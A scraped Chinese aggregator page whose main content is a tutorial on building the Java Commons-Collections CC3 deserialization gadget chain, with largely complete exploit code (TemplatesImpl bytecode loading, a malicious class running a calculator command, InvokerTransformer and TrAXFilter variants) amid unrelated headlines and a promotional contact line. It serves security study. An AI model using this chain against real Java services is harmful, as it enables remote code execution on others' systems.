最新要闻
- 天天通讯!襄阳市消防救援训练与战勤保障大队成立
- 吴刚谈儿子出演《狂飙》高晓晨:既然选择这条路就要自己走
- 世界即时:尼泊尔载72人客机失事坠毁 初步调查报告:螺旋桨顺桨失去推力
- 环球信息:2023年铁路春运圆满收官:累计发送旅客3.48亿人次 增长37.4%
- 【天天速看料】博主分享特斯拉Model 3P一年使用成本:每公里不到4毛
- 卖手机壳收入百万:300多元的壳十分畅销
- 【世界聚看点】特斯拉不好惹!网红车评人“蔡老板”被判道歉赔10万后:还没饶了他
- 天天微头条丨豆瓣仅4分!《三体》动画宣布延播两周:3月4日恢复
- 全球新消息丨等待16年!好莱坞8.1分末日科幻大片《我是传奇》续集定了:“史皇”出演
- 【时快讯】罗永浩交个朋友公司被曝欠薪 员工:遭到暴力裁员
- 天天短讯!二次元真香升级!13代游戏本华硕天选4开启预约
- 大宇获恐怖电影《咒》IP授权:由《轩辕剑柒》主创张蓁元主导开发
- 全球观点:02月16日09时广东珠海疫情数据 阳了以后为什么会腰疼?应该怎么办?
- 快看:联发科一夜回到两年前:大家都不换新手机了
- 弟弟陪姐姐看病:双双确诊甲状腺癌
- 环球观点:RNG拖欠奖金再上热搜!前俱乐部选手站队喊话还钱
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
CC1打不通时的另外一条链CC3
在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec
进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块
或构造代码块
中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。
(资料图片仅供参考)
ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:
protected final Class> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError
这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax
中的TemplatesImpl.TransletClassLoader
下,也是一个defineClass:
这个defineClass又在当前类中被defineTransletClasses
调用:
defineTransletClasses
同类下有三个被调用点,我们看一下哪个方法可以被我们利用:
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
第一个返回_class
:
private synchronized Class[] getTransletClasses() { try { if (_class == null) defineTransletClasses(); } catch (TransformerConfigurationException e) { // Falls through } return _class; }
第二个返回了_class
的下标:
public synchronized int getTransletIndex() { try { if (_class == null) defineTransletClasses(); } catch (TransformerConfigurationException e) { // Falls through } return _transletIndex; }
第三个方法我们主要看newInstance这里,这个_class[_transletIndex]
可控(通过上面找到的defineTransletClasses
动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
下一调用点还是在这个类中,我们找到newTransformer()这个方法:
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
我们来梳理一下到目前的调用链,很短也很方便:
我们先将payload写出来:
TemplatesImpl templatesimpl = new TemplatesImpl(); templatesimpl.newTransformer();
写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:
newTransformer
内不需要进行赋值操作,跟进到getTransletInstance
中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()
我们就需要让name不为空,class为空,直接不给_class赋值即可:
if (_name == null) return null;if (_class == null) defineTransletClasses();
继续跟进到defineTransletClasses
中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes
从而控制class的值:
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);
一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:
private String _name = null;private byte[][] _bytecodes = null;private transient TransformerFactoryImpl _tfactory = null;
都是private属性,所以要用setAccessible
来修改访问权限,name是String类型,所以直接赋个字符串就行:
Class tmp = templatesimpl.getClass(); Field nameField = tmp.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesimpl,"y1");
再看_bytecodes
,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:
for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length);
所以我们给_bytecodes
赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):
Field bytecodesField = tmp.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templatesimpl,codes);
Test.classpublic class Calc { static{ try { Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令 } catch (IOException e) { //win下还是calc throw new RuntimeException(e); } }}
然后我们再来改_tfactory的值:
这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值
private transient TransformerFactoryImpl _tfactory = null;
我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:
_name = (String)gf.get("_name", null); //以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数) _bytecodes = (byte[][])gf.get("_bytecodes", null); _class = (Class[])gf.get("_class", null); _transletIndex = gf.get("_transletIndex", -1); _outputProperties = (Properties)gf.get("_outputProperties", null); _indentNumber = gf.get("_indentNumber", 0); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl(); }
我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):
TemplatesImpl templatesimpl = new TemplatesImpl(); Class tmp = templatesimpl.getClass(); Field nameField = tmp.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesimpl,"y1"); Field bytecodesField = tmp.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templatesimpl,codes); Field tfactoryfield = tmp.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templatesimpl,new TransformerFactoryImpl()); templatesimpl.newTransformer();
没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:
final Class superClass = _class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
第一个if检查class的父类是否叫ABSTRACT_TRANSLET
,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET
的父类:
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
修改恶意类,继承的父类中有两个抽象方法需要进行重写:
public class Calc extends AbstractTranslet{ static{ try { Runtime.getRuntime().exec("open -na Calculator"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }}
现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImpl
和TransformerFactoryImpl
的路径一定要是com.xxx,如果是org.xxx是不能用的:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class CC3Test { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class tmp = templatesimpl.getClass(); Field nameField = tmp.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesimpl,"y1"); Field bytecodesField = tmp.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templatesimpl,codes); Field tfactoryfield = tmp.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templatesimpl,new TransformerFactoryImpl()); templatesimpl.newTransformer(); }}
下面我们要想办法执行templatesimpl.newTransformer
,这里依旧是用CC1中用到的InvokerTransformer.transform
进行代码的执行:
TemplatesImpl templatesimpl = new TemplatesImpl(); Class tmp = templatesimpl.getClass(); Field nameField = tmp.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesimpl,"y1"); Field bytecodesField = tmp.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templatesimpl,codes); Field tfactoryfield = tmp.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templatesimpl,new TransformerFactoryImpl()); ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(templatesimpl), new InvokerTransformer("newTransformer",null,null) }); ctf.transform(1);
剩下的找Chainedtransformer.transform
的调用点就和CC1后面一样了,直接粘过来就是:
package ysoserial.payloads.Test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import static ysoserial.payloads.util.Test.util.Serialize.serialize;import static ysoserial.payloads.util.Test.util.Unserialize.unserialize;public class CC3Test { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class tmp = templatesimpl.getClass(); Field nameField = tmp.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesimpl,"y1"); Field bytecodesField = tmp.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templatesimpl,codes); Field tfactoryfield = tmp.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templatesimpl,new TransformerFactoryImpl()); ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(templatesimpl), new InvokerTransformer("newTransformer",null,null) }); HashMap map = new HashMap(); map.put("value","v"); Map
相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3
接下来我们在来说ysoserial上用的另一条调用链:
我们回到newTransformer
,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer
的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java
这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数:
public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer
这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args) { this.iParamTypes = paramTypes; this.iArgs = args; }public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); }
也就是说下面两行代码就可以执行newTransformer了:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});instantiateTransformer.transform(TrAXFilter.class);
最终还是用ChainedTransformer包裹起来执行:
TemplatesImpl templatesimpl = new TemplatesImpl(); Class tmp = templatesimpl.getClass(); Field nameField = tmp.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templatesimpl,"y1"); Field bytecodesField = tmp.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templatesimpl,codes); Field tfactoryfield = tmp.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templatesimpl,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl}); ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }); HashMap map = new HashMap(); map.put("value","v"); Map
完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:
更多靶场实验练习、网安学习资料,请点击这里>>
CC1打不通时的另外一条链CC3
天天通讯!襄阳市消防救援训练与战勤保障大队成立
吴刚谈儿子出演《狂飙》高晓晨:既然选择这条路就要自己走
世界即时:尼泊尔载72人客机失事坠毁 初步调查报告:螺旋桨顺桨失去推力
环球信息:2023年铁路春运圆满收官:累计发送旅客3.48亿人次 增长37.4%
【天天速看料】博主分享特斯拉Model 3P一年使用成本:每公里不到4毛
卖手机壳收入百万:300多元的壳十分畅销
今热点:机器学习-随机森林
【世界独家】docker-compose搭建redis-Cluster集群
环球快资讯丨使用docker部署Python-Flask实现ChatGPT的使用
今日要闻!关于nfs服务启动messages日志中报错-Unable to watch /proc/fs/nfsd/clients: No such file
【世界聚看点】特斯拉不好惹!网红车评人“蔡老板”被判道歉赔10万后:还没饶了他
环球热点评!阿里一面:你做过哪些代码优化?来一个人人可以用的极品案例
天天微头条丨豆瓣仅4分!《三体》动画宣布延播两周:3月4日恢复
全球新消息丨等待16年!好莱坞8.1分末日科幻大片《我是传奇》续集定了:“史皇”出演
【时快讯】罗永浩交个朋友公司被曝欠薪 员工:遭到暴力裁员
天天短讯!二次元真香升级!13代游戏本华硕天选4开启预约
大宇获恐怖电影《咒》IP授权:由《轩辕剑柒》主创张蓁元主导开发
全球观点:02月16日09时广东珠海疫情数据 阳了以后为什么会腰疼?应该怎么办?
树的子结构之先序遍历+二叉树的镜像+对称二叉树
快资讯丨一口气说出 6 种实现延时消息的方案,还有谁不会?!
快看:联发科一夜回到两年前:大家都不换新手机了
弟弟陪姐姐看病:双双确诊甲状腺癌
环球观点:RNG拖欠奖金再上热搜!前俱乐部选手站队喊话还钱
报道:父母高度近视:1岁婴儿近视600度
每日播报!Win10/11后:Linux启动AMD处理器fTPM出现同款间歇性卡顿
tplink路由器怎么重新设置密码?Tplink路由器如何桥接?
mbti哪个脾气最差?哪个mbti最容易抑郁症?
显卡驱动需要更新吗?显卡驱动怎么更新?
项羽墓在哪个地方?项羽墓为什么在山东?
卖惨是什么意思?卖惨的人是什么心理?
保龄球有几个孔?保龄球设备多少钱一套?
长安是唐朝的首都吗?长安是现在的哪个城市?
每日消息!【并查集】连通块中的数量
【热闻】(数据库系统概论|王珊)第三章关系数据库标准语言SQL:习题
Vue 组件之间传递参数
【世界聚看点】关于 layui 弹出一个 DOM 表单的问题
艾斯死的那一集是多少集?艾斯复活是哪一集?
世界最新:马斯克做出重要“交易”:开放北美全部特斯拉超充桩 换取补贴
【全球独家】5月上映!迪士尼《小美人鱼》真人电影新预告发布:特效惊艳
突破事业线
环球观天下!3000元以下唯一的16G内存手机!真我GT Neo5获得天猫京东销量冠军
死磕竞争对手ChatGPT!谷歌要求员工每天花2至4小时测试自家Bard AI
全球球精选!房地产市场支持政策需更精准
安卓导出已安装app的apk
模型预处理层介绍(2) - Hashing
世界信息:男子借朋友12万 1小时后借条变成白纸!网友:防不胜防
顶级富豪果然都惜命 扎克伯格个人安保费一年超1亿元
环球要闻:今起可提前预约个税办税:每天6-22点可在App预约
要闻:接棒年销26万台扫地机器人爆款单品!石头G10S Pure即将正式亮相
天天通讯!吉利中高端新能源系列定名“吉利银河”:每个人都仰望
全球信息:快速搭建一个网关服务,动态路由、鉴权,一网打尽!(含流程图)
全球播报:再有人问你抽象工厂设计模式,把这篇文章丢给他
环球观天下!时间是什么?时间同步是什么?GPS北斗卫星授时又是什么?
世界要闻:《分布式技术原理与算法解析》学习笔记Day13
诺如病毒进入高发期 学校、家庭如何做好预防?一文了解
你怕失业吗?马斯克炮轰人工智能:比核弹头更危险
巴菲特“黄金搭档”芒格盛赞:比亚迪在中国遥遥领先于特斯拉
40岁男子报复10岁小孩连划7车引围观:结局舒适了 网友点赞
《霍格沃茨之遗》更新后PC优化更差!玩家:游戏卡顿问题解决一下
快资讯丨再下一城!百度地图红绿灯倒计时上线兰州:实时读秒
最资讯丨下行5000兆 跟上行同速!谷歌美国推5Gbps光纤:每月850元
全球要闻:读Java实战(第二版)笔记11_语言特性和类库更新
片仔癀珍珠霜的功效
天天热头条丨HEU KMS Activator 28.0.0全能系统数字许可激活工具
CentOS7.9安装K8S高可用集群(三主三从)
Android JetPack~ LiveData (一) 介绍与使用
环球观热点:SDK多项目开发与联调
全球快看:期末复习——线程
环球热点评!5年前就已杀青 周星驰《美人鱼2》进入后期制作
谨慎升级 等了2个月的AMD新驱动疑似翻车:系统崩了
世界热议:央广网:“暴雪式”傲慢引众怒 或终将致其失去中国市场
要闻速递:中国移动:加速千兆网络全面普及 建成全球最大规模光网络
中国快递卷了15年:死死困住了一个50岁的老快递员
纽约黄金期货周三收跌1.1% 创五周来最低收盘价
1998年属虎的人2012年运程
今日聚焦!qq情侣网名 〈談情》**/|(說爰)ⅱ,
80年代的零食大全怀旧辣条_80年代的零食大全怀旧
【保姆级】Python最新版3.11.1开发环境搭建,看这一篇就够了(适用于Python3.11.2安装)
【天天新要闻】day10-1-中文乱码处理
实时焦点:一次学俩Vue&Blazor:1.4基础-响应式数据
数论模板
世界微速讯:2023年春运收官:40天发送旅客近16亿人次 大涨50%
【环球报资讯】数据结构刷题2023.02.15小记
给我两分钟的时间:微博风格九宫格:UICollectionView实现
《分布式技术原理与算法解析》学习笔记Day12
【算法训练营day45】LeetCode70. 爬楼梯(进阶) LeetCode322. 零钱兑换 LeetCode279. 完全平方数
香港2022年暴力罪案同比下降7.9%
观天下!探险的好处辩论赛,正方_探险的好处
全球播报:AMD RX 7600S游戏本显卡首测:远不如RTX 3060!高端弃疗了
世界速讯:10道恋爱送命题灵魂拷问ChatGPT:它的回答让我陷入沉思
马斯克向往每周只工作80小时!网友:驴都不敢这么用
每日速读!中国内地特供!Intel i5-13490F处理器图赏
天天快看:002. html篇之《表格》
当前视讯!力扣---3. 无重复字符的最长子串
今日热文:轻薄长续航!小新Air14超极本2023发布:标配13代酷睿+1TB SSD
普及1TB 联想小新2023笔记本、一体机价格汇总:最贵才8999元
每日资讯:8999元 联想小新Pro 27一体机发布:13代酷睿i9搭配Arc独显
环球微头条丨4199元起 小新14/16轻薄本2023发布:酷睿i5-1340P、高配1TB SSD
播报:三星Galaxy S23 Ultra发布 老外怒赞:安卓阵营老大